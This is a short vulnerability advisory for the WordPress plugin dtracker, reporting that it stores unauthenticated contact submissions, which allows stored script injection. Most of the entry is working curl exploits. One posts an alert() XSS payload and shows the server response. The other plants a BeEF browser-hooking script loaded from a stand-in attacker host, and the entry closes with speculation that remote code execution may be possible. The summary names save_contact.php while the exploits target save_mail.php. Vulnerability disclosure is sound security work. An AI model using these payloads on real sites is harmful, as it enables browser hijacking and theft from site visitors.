The VapidLabs Vulnerability Database

Content Injection

Summary: The code dtracker/save_contact.php doesn't check that the user is authorized before injecting new contacts into the wp_contact table.

Notified: 2017-03-09

Description:

Track the details of the users downloading the pdf files from wordpress site.

Exploit:

$ curl --data "email=\"><script>alert(1);</script>" http://example.com/wordpress/wp-content/plugins/dtracker/save_mail.php
{"email":"\\\"><script>alert(1);<\/script>","time":"2017-03-09 00:54:06","ip":"example.com","contactId":10577}

Or better yet, inject a BeEF hook:

$ curl --data 'email="><script src=http://BeEF_Host:3000/hook.js></script>' http://example.com/wordpress/wp-content/plugins/dtracker/save_mail.php

Notes:

I imagine you could get RCE similar to some exploits targeting the Wordpress JSON API vulnerability Marc Montipas discovered.